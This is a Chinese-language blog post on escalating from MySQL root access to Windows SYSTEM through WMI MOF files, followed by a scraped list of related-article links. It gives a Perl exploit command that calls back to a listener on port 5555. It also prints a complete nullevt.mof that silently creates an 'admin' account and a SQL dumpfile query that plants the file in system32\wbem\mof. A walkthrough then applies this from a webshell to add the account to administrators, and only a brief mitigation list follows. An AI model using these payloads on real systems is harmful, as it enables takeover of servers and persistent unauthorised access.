MySQL数据库Root权限MOF方法提权研究

MySQL Root权限MOF方法提权是来自国外Kingcope大牛发布的MySQL Scanner & MySQL Server for Windows Remote SYSTEM Level Exploit(https://www.exploit-db.com/exploits/23083/)

,简称mysql远程提权0day(MySQL Windows Remote System Level Exploit (Stuxnet technique) 0day)。Windows 管理规范 (WMI) 提供了以下三种方法编译到 WMI 存储库的托管对象格式 (MOF) 文件:

方法1:运行 MOF 文件指定为命令行参数将 Mofcomp.exe 文件。

方法2:使用 IMofCompiler 接口和 $ CompileFile 方法。

方法3:拖放到 %SystemRoot%\System32\Wbem\MOF 文件夹的 MOF 文件。

Microsoft 建议您到存储库编译 MOF 文件使用前两种方法。也就是运行 Mofcomp.exe 文件,或使用 IMofCompiler::CompileFile 方法。第三种方法仅为向后兼容性与早期版本的 WMI 提供,并因为此功能可能不会提供在将来的版本后,不应使用。注意使用MOF方法提权的前提是当前Root帐号可以复制文件到%SystemRoot%\System32\Wbem\MOF目录下,否则会失败!

001漏洞利用方法分析

该漏洞的利用前提条件是必须具备mysql的root权限,在Kingcope公布的0day中公布了一个pl利用脚本。

perl mysql_win_remote.pl 192.168.2.100 root "" 192.168.2.150 5555

192.168.2.100为mysql数据库所在服务器,mysql口令为空,反弹到192.168.2.150的5555端口上。

1.生成nullevt.mof文件

将以下代码保存为nullevt.mof文件:

# pragma namespace("\\.\root\subscription")

instance of **EventFilter as $EventFilter{ EventNamespace = "Root\Cimv2"; Name = "filtP2"; Query = "Select \* From **InstanceModificationEvent "

"Where TargetInstance Isa \"Win32_LocalTime\" "

"And TargetInstance.Second = 5";

QueryLanguage = "WQL";

};

instance of ActiveScriptEventConsumer as $Consumer

{

Name = "consPCSV2";

ScriptingEngine = "JScript";

ScriptText =

"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add")";

};

instance of __FilterToConsumerBinding

{

Consumer = $Consumer;

Filter = $EventFilter;

};

2.通过Mysql查询将文件导入

执行以下查询语句,将上面生成的nullevt.mof导入到c:\windows\system32\wbem\mof\目录下在windows7中默认是拒绝访问的。导入后系统会自动运行,执行命令。

select load_file('C:\RECYCLER\nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';

002实战利用

1.实验环境

本次实验环境为Windows2003+Apache+PHP,已经拥有Webshell权限。

2.上传文件到可写目录

将nullevt.mof文件上传到服务器可写目录,例如C:\RECYCLER\,如图1所示。

图1上传文件nullevt.mof

3.执行命令

配置好中国菜刀,然后通过数据库管理,执行查询命令,在执行查询命令前需要先选择一下数据库,然后将以下代码复制到查询语句输入框中,如图2所示。

select load_file('C:\RECYCLER\nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';

图2执行查询命令

4.查看执行结果

执行完毕后需要修改添加用户命令为将用户添加到管理员组,即“net.exe localgroup administrators admin/add\”,再次上传并查询,如图3所示,通过net user查看,果然admin已被添加到系统中。

图3添加用户成功

003防范方法

Mysql Root权限MOF方法提权其前提条件是能够将上传的nullevt.mof复制到系统目录下,例如c:\windows\system32\wbem\mof中,如果无法复制则会提权失败。一般对Windows2003以下操作系统效果较好,Windows2008以上由于保护机制,较少能够成功。因此可以采取以下措施进行防范:

1.在程序数据库连接文件中尽量不要使用Root帐号进行连接。

2.Root帐号使用强加密方式,采用字母大小写+数字+特殊字符,密码位数15位以上。

3.对Mysql数据库的mysql数据库目录权限严格限制,IIS用户无法读写该文件。

操作系统目录c:\windows\system32\wbem禁止写入。

mysql进行mof提权_MySQL数据库Root权限MOF方法提权研究相关推荐

  1. mysql进行mof提权_技术干货:MySQL数据库Root权限MOF方法提权研究

    MySQL Root权限MOF方法提权是来自国外Kingcope大牛发布的MySQL Scanner & MySQL Server for Windows Remote SYSTEM Leve ...

  2. mysql root 提权_mysql以ROOT权限提权方法

    mysql .x里面引入了一个system函数,这个函数可以执行系统命令,当mysql以root登陆的时候,就可以利用这个函数执行命令,当然是在权限许可的 范围内. 按照上面的方法,我们需要知道web ...

  3. mysql system账户密码忘记了_MySQL数据库root账户密码忘记两种处理方法(保有效)...

    方法1: 1.停止MySQL服务 kill cat /var/run/mysqld/mysqld.pid 或者 pkill mysqld 2.创建一个密码赋值语句的文本文件 vi mysql-init ...

  4. mysql 日志刷新到磁盘_MySQL数据库刷日志的方法

    我们知道InnoDB采用Write Ahead Log策略来防止宕机数据丢失,即事务提交时,先写重做日志,再修改内存数据页,这样就产生了脏页.既然有重做日志保证数据持久性,查询时也可以直接从缓冲池页中 ...

  5. linux mysql 实战_Linux平台MySQL多实例项目实施_MySQL数据库基础与项目实战06

    Linux平台MySQL多实例项目实施_MySQL数据库基础与项目实战06 视频教程学习地址 Oracle/MySQL数据库学习专用QQ群:336282998.189070296 学完风哥本课程能熟悉 ...

  6. [redhat 6.7+Mysql5.7] root权限丢失、降权恢复菜鸟教程

    [redhat 6.7+Mysql5.7] root权限丢失.降权恢复菜鸟教程 产生问题 解决办法 (1)停止mysql的运行 (2)修改配置my.cnf文件 (3)重新授权 (4)关mysql,并改 ...

  7. 华为nova2自带计算机,华为Nova2 root图文教程 华为Nova2获取root权限的方法

    2017-09-12 16:14:42 华为Nova2 root图文教程 华为Nova2获取root权限的方法 来源:刷机之家 标签:华为Nova2,华为Nova2root教程,华为Nova2获取ro ...

  8. 华为Android10怎样root,华为Mate10 root教程_华为Mate10卡刷获取root权限的方法

    咱们的这个华为Mate10手机也是上市有段时间了,可是有的机友在找这个root操作的时候还是找不到,所以下面特意整理了一个详细的获取root权限的方法来供大家参考了,这个root也不复杂,也是采用卡刷 ...

  9. 4x root 红米_红米Note 4X root教程 红米Note4X获取root权限的方法

    2017-09-13 11:53:45 红米Note 4X root教程 红米Note4X获取root权限的方法 来源:刷机之家 标签:红米Note 4X,root教程,获取root 刷机之家小编来说 ...

最新文章

  1. 最有效阻止SSH暴力破解的方法
  2. java例7_Java中单例七种写法(懒汉、恶汉、静态内部类、双重检验锁、枚举)
  3. 没有任何基础的可以学python吗-今天就来告诉你,没有编程基础的人适不适合学python...
  4. 一文通吃所有整流滤波电路
  5. Android之TabLayout和ViewPager组合跳转到指定页面
  6. 接口自动化- 基于 Python
  7. mvn -DskipTests和-Dmaven.test.skip=true区别
  8. python语法_str_eval
  9. 更改oracle字符集为utf_oracle字符集AL16UTF16改为ZHS16GBK
  10. 我学习的自定义ASP.NET分页控件
  11. 通俗易懂理解JAVA虚拟机
  12. 钉钉isv接入三方应用授权鉴权流程
  13. python字典题_Python字典练习题
  14. OA实施方法论的重要性
  15. python处理excel——创建excel工作簿和工作表并录入信息(openpyxl库)
  16. PS海报制作的常用方法
  17. 学计算机编程难吗,计算机编程入门 计算机编程难学吗
  18. 中国大学MOOC C语言程序设计(大连理工大学) 课后编程题 第三周题解(个人向仅供参考)
  19. k8s_难产的ingress架构初体验(一)
  20. MySQL将查询结果用英文逗号,连接

热门文章

  1. 微耕“门禁专家”技术培训班
  2. C++ 分数的加减乘除(运算符重载)
  3. AutoCAD2016第一个ObjectArx2016程序HelloWorld
  4. 中国工商银行成都市区营业网点分布一览表
  5. 赛迪:AI+工业互联网正当时
  6. 计算机复试专业课面试问题锦集
  7. plc编程实训QY-BC07
  8. 在统计学中_统计学中的几个基本概念
  9. win10计算机属性此项目属性打不开,win10回收站打不开 此项目的属性未知 的解决方法...
  10. 【HDU】4411 Arrest 费用流